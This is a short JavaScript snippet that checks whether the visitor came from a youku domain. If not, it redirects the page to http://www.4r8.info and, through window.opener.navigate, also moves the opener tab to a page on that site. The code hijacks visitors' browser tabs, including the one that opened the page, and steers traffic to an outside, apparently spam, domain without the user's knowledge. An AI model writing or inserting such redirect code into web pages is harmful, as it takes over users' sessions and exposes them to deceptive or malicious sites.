today=new Date(); 
today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
var regexp=/\.(youku)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where)){
document.writeln("");
}
else
{
window.location.href="http://www.4r8.info";
window.opener.navigate("http://www.4r8.info/zhuan.html");
}